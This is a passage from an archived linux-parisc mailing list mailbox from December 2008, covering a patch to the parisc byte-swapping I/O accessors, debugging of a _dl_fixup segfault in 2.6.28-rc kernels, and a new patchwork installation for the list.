-/* readb can never be const, so use __fswab instead of le*_to_cpu */
 #define readb(addr) __raw_readb(addr)
-#define readw(addr) __fswab16(__raw_readw(addr))
-#define readl(addr) __fswab32(__raw_readl(addr))
-#define readq(addr) __fswab64(__raw_readq(addr))
+#define readw(addr) __arch_swab16(__raw_readw(addr))
+#define readl(addr) __arch_swab32(__raw_readl(addr))
+#define readq(addr) __arch_swab64(__raw_readq(addr))
 #define writeb(b, addr) __raw_writeb(b, addr)
 #define writew(b, addr) __raw_writew(cpu_to_le16(b), addr)
 #define writel(b, addr) __raw_writel(cpu_to_le32(b), addr)
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 7 Dec 2008 23:50:02 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <20081208045003.4CF644E99@hiauly1.hia.nrc.ca>
References: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228711816 9025 80.91.229.12 (8 Dec 2008 04:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 04:50:16 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 05:51:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9Y5X-0007J5-9O
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 05:51:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754741AbYLHEuF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 23:50:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754704AbYLHEuF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 23:50:05 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1479 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754741AbYLHEuE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 23:50:04 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4CF644E99; Sun,  7 Dec 2008 23:50:03 -0500 (EST)
In-Reply-To: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com> from "Carlos O'Donell" at Nov 25, 2008 08:33:24 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/906>

> Given your earlier comments it would seen the segfault is not
> reproducible and happens often and randomly?

I gave 2.6.28-rc7-git5 a try this evening.  Hit the same error.
While its occurence may be random, the identical fault occurred
multiple times in a short period of testing.

I see this bit of code in _dl_fixup:

0x401ed464 <_dl_fixup+172>:	mfctl tr3,r21
0x401ed468 <_dl_fixup+176>:	ldw -3e0(r21),ret0
0x401ed46c <_dl_fixup+180>:	cmpib,<> 0,ret0,0x401ed628 <_dl_fixup+624>

and

0x401ed5fc <_dl_fixup+580>:	ldi 1,r24
0x401ed600 <_dl_fixup+584>:	ldi 0,r23
0x401ed604 <_dl_fixup+588>:	mfctl tr3,r26
0x401ed608 <_dl_fixup+592>:	copy r24,r25
0x401ed60c <_dl_fixup+596>:	ldo -3dc(r26),r26
0x401ed610 <_dl_fixup+600>:	copy r19,r4
0x401ed614 <_dl_fixup+604>:	be,l 100(sr2,r0),sr0,r31
0x401ed618 <_dl_fixup+608>:	ldi d2,r20

So, the code is using the thread register (cr27).  Not sure what syscall
this is.  However, the problem might be TLS releated.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harvey Harrison <harvey.harrison@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix io accessors for generic byteorder.h
Date: Sun, 07 Dec 2008 20:55:59 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <1228712159.5998.2.camel@brick>
References: <20081208044317.GB9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228712177 9633 80.91.229.12 (8 Dec 2008 04:56:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 04:56:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 05:57:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9YBM-0000Jg-79
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 05:57:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754741AbYLHE4G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 23:56:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755123AbYLHE4G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 23:56:06 -0500
Original-Received: from rv-out-0506.google.com ([209.85.198.233]:6113 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754741AbYLHE4E (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 23:56:04 -0500
Original-Received: by rv-out-0506.google.com with SMTP id k40so986811rvb.1
        for <linux-parisc@vger.kernel.org>; Sun, 07 Dec 2008 20:56:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:subject:from:to:cc
         :in-reply-to:references:content-type:date:message-id:mime-version
         :x-mailer:content-transfer-encoding;
        bh=T0EDRO2O8VwMry08CoJo/B5nnpQhUuKldAR6JNNcDLA=;
        b=apskxwhi3clhE1xxSB2FmW4h+BGa6iNSn/u5uctjR83Gs3aZhbmajgV5XDm7Ru9/29
         lXXlb6dAoMe1BVseqpMax2DWDvWd1s7zc0vHcz3Ew+mHjeCOk7S9sss1Y3XGtBXMTG4v
         twy+aHE7+gikuuEfFj8rjPcY7HcQBFGjVhl3o=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=subject:from:to:cc:in-reply-to:references:content-type:date
         :message-id:mime-version:x-mailer:content-transfer-encoding;
        b=mo5MILLNxKpvL/vu5jd652pB+mFhP0PmCOd3/p7wt9JSL1XHfjhD2X9FfdRyGAvUb7
         TwPQxwhTtKu6Q3VWuT6L4uvQ1WS+JK9gxF7WeLlLHJy/kk1BDk+FqoZWL+2TcHJ2h/AN
         G83E9knlMeQnpmsaq9VXwHeLtA6kLP2YTkreU=
Original-Received: by 10.142.11.20 with SMTP id 20mr1294459wfk.291.1228712161966;
        Sun, 07 Dec 2008 20:56:01 -0800 (PST)
Original-Received: from ?192.168.1.100? (216-19-190-48.dyn.novuscom.net [216.19.190.48])
        by mx.google.com with ESMTPS id 24sm3467336wfc.42.2008.12.07.20.56.01
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 07 Dec 2008 20:56:01 -0800 (PST)
In-Reply-To: <20081208044317.GB9092@bombadil.infradead.org>
X-Mailer: Evolution 2.24.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/907>

On Sun, 2008-12-07 at 23:43 -0500, Kyle McMartin wrote:
> These were using __fswabX which is marooned in <linux/byteorder/swab.h>
> instead we'll just use the __arch_swabX defines from <asm/byteorder.h>
> 

Sorry I missed this usage :-/

Any reason not to just use __swab16 __swab32 __swab64?  I'd like to keep
the __arch helpers confined to swab.h only.

Cheers,

Harvey

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix io accessors for generic byteorder.h
Date: Sun, 7 Dec 2008 23:58:29 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20081208045829.GF9092@bombadil.infradead.org>
References: <20081208044317.GB9092@bombadil.infradead.org> <1228712159.5998.2.camel@brick>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228712322 9861 80.91.229.12 (8 Dec 2008 04:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 04:58:42 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Harvey Harrison <harvey.harrison@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 05:59:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9YDg-0000Jg-0G
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 05:59:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754260AbYLHE6b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 23:58:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754741AbYLHE6a
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 23:58:30 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50663 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754260AbYLHE6a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 23:58:30 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9YCT-0005cB-A6; Mon, 08 Dec 2008 04:58:29 +0000
Content-Disposition: inline
In-Reply-To: <1228712159.5998.2.camel@brick>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/908>

On Sun, Dec 07, 2008 at 08:55:59PM -0800, Harvey Harrison wrote:
> On Sun, 2008-12-07 at 23:43 -0500, Kyle McMartin wrote:
> > These were using __fswabX which is marooned in <linux/byteorder/swab.h>
> > instead we'll just use the __arch_swabX defines from <asm/byteorder.h>
> > 
> 
> Sorry I missed this usage :-/
> 
> Any reason not to just use __swab16 __swab32 __swab64?  I'd like to keep
> the __arch helpers confined to swab.h only.
> 

Not particularly, I believe the idea of using fswabX was to Make Damned
Sure(tm) that gcc wouldn't eliminate the expression by being too smart
for its own good. It's probably fine now, though I have half a mind to
just fold it in.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 00:15:21 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20081208051521.GI9092@bombadil.infradead.org>
References: <4932FFB7.4040506@gmx.de> <20081201000013.349294DF8@hiauly1.hia.nrc.ca> <7d01f9f00812010254s3bf845cr8e2b35fe2dedc125@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228713341 11825 80.91.229.12 (8 Dec 2008 05:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 05:15:41 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, gmsoft@tuxicoman.be,
	carlos@systemhalted.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 06:16:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9YU6-0004gz-Mo
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 06:16:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750834AbYLHFP2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 00:15:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751181AbYLHFP1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 00:15:27 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44762 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750834AbYLHFP1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 00:15:27 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9YSn-0003NA-56; Mon, 08 Dec 2008 05:15:21 +0000
Content-Disposition: inline
In-Reply-To: <7d01f9f00812010254s3bf845cr8e2b35fe2dedc125@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/909>

On Mon, Dec 01, 2008 at 11:54:25AM +0100, Thibaut VARENE wrote:
> On Tue, Dec 2, 2008 at 1:00 AM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> 
> >
> > Are there some standard 32 and 64 bit defines for format strings?  Or, do we
> > always want 16 hex digits?
> 
> In traps.c we used to do this for the regs dump:
> 
> #ifdef __LP64__
> #define RFMT "%016lx"
> #else
> #define RFMT "%08lx"
> #endif
> 
> and then sprintf(p, " " RFMT, (i+j) == 0 ? 0 : regs->gr[i + j]);
> 
> I guess a similar trick could do, to some extent?

The prettiest way to do it would be to add a %p handler for
resource_size_t args, cheat on the pointing bit, and clean up the
in-tree users of %llx/ull-casts.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: patchwork running on linux-parisc@
Date: Sun, 7 Dec 2008 22:46:43 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20081208054643.GB2413@colo.lackof.org>
References: <20081208000858.GK28348@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228715233 15247 80.91.229.12 (8 Dec 2008 05:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 05:47:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 06:48:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9Yya-0003hb-Sf
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 06:48:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751248AbYLHFq6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 00:46:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751735AbYLHFq6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 00:46:58 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:38081 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751248AbYLHFq6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 00:46:58 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AA84329C0A4;
	Sun,  7 Dec 2008 22:46:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17597-06; Sun, 7 Dec 2008 22:46:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4E86F180575; Sun,  7 Dec 2008 22:46:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081208000858.GK28348@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/910>

On Sun, Dec 07, 2008 at 07:08:58PM -0500, Kyle McMartin wrote:
> I've enabled a patchwork installation, hopefully I won't miss any more
> patches posted on the list now. Please ensure all patches destined for
> the kernel hit the mailing list, so they get archived by patchwork...
> 
> 	http://patchwork.cabal.ca/project/linux-parisc/list/

Kyle - this is awesome! Thanks!

grant

> 
> As soon as I get these git commithooks sorted we'll have proper commit
> notifications to the list as well, although that's slightly more
> complicated unless you want gigantic spews when I pull Linus' tree. :(
> 
> regards, Kyle
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harvey Harrison <harvey.harrison@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix io accessors for generic byteorder.h
Date: Sun, 07 Dec 2008 22:09:55 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <1228716595.5998.3.camel@brick>
References: <20081208044317.GB9092@bombadil.infradead.org>
	 <1228712159.5998.2.camel@brick>
	 <20081208045829.GF9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228716617 17992 80.91.229.12 (8 Dec 2008 06:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 06:10:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 07:11:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9ZKq-0000qP-TK
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 07:11:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751271AbYLHGJ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 01:09:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751940AbYLHGJ7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 01:09:59 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.170]:13697 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751271AbYLHGJ6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 01:09:58 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so1114086wfd.4
        for <linux-parisc@vger.kernel.org>; Sun, 07 Dec 2008 22:09:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:subject:from:to:cc
         :in-reply-to:references:content-type:date:message-id:mime-version
         :x-mailer:content-transfer-encoding;
        bh=WmB+rzkRBar1nSdIXfzSw3kNtecT4MeuN1qxuVP/7Wg=;
        b=KczomrRgG/UpiH1frCHR5RuLQtTvOVSTHOhDeYbqOey04DbHfhRUPnrBMETlOV4bRC
         h2kqPMSXn052LyEWBvzLMTlQRTWMm5pAAxZkH8/DypNCzdhlChLBdmz1tGrpSlfkRZLD
         sXR4wim6XwrAl6qd4qPR0ca5ZkE8PIEWg4X/0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=subject:from:to:cc:in-reply-to:references:content-type:date
         :message-id:mime-version:x-mailer:content-transfer-encoding;
        b=s+UTobgcKcBk+a68gOZodmXH5ICNrFUbt1wUeD/DOQb4PjPuwMbLdIyOkM6IuL1Ln8
         nST9+2m9friCrbZpypZ5uxAuXNsAfCi5zkoh6QynT+DLTSmdFmNDeGy6sLH4YJ8EiRMd
         urXKb3ziCWrVDn3muLwgZ/hrSf/cnT1ZS1X2M=
Original-Received: by 10.143.6.1 with SMTP id j1mr1322449wfi.152.1228716597854;
        Sun, 07 Dec 2008 22:09:57 -0800 (PST)
Original-Received: from ?192.168.1.100? (216-19-190-48.dyn.novuscom.net [216.19.190.48])
        by mx.google.com with ESMTPS id 24sm668590wff.37.2008.12.07.22.09.57
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 07 Dec 2008 22:09:57 -0800 (PST)
In-Reply-To: <20081208045829.GF9092@bombadil.infradead.org>
X-Mailer: Evolution 2.24.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/911>

On Sun, 2008-12-07 at 23:58 -0500, Kyle McMartin wrote:
> On Sun, Dec 07, 2008 at 08:55:59PM -0800, Harvey Harrison wrote:
> > On Sun, 2008-12-07 at 23:43 -0500, Kyle McMartin wrote:
> > > These were using __fswabX which is marooned in <linux/byteorder/swab.h>
> > > instead we'll just use the __arch_swabX defines from <asm/byteorder.h>
> > > 
> > 
> > Sorry I missed this usage :-/
> > 
> > Any reason not to just use __swab16 __swab32 __swab64?  I'd like to keep
> > the __arch helpers confined to swab.h only.
> > 
> 
> Not particularly, I believe the idea of using fswabX was to Make Damned
> Sure(tm) that gcc wouldn't eliminate the expression by being too smart
> for its own good. It's probably fine now, though I have half a mind to
> just fold it in.

By fold it in, I take it to mean, write them as static inlines rather
than macros, if so, I definitely approve.

Harvey

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 00:50:01 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20081208075001.GB28779@colo.lackof.org>
References: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com> <20081208045003.4CF644E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228722626 30758 80.91.229.12 (8 Dec 2008 07:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 07:50:26 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 08:51:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9atu-0000l0-Ti
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 08:51:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750953AbYLHHuS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 02:50:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751077AbYLHHuR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 02:50:17 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:40273 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750953AbYLHHuQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 02:50:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5CC3129C0A2;
	Mon,  8 Dec 2008 00:50:14 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29190-02; Mon, 8 Dec 2008 00:50:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 882A229C094; Mon,  8 Dec 2008 00:50:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081208045003.4CF644E99@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:912
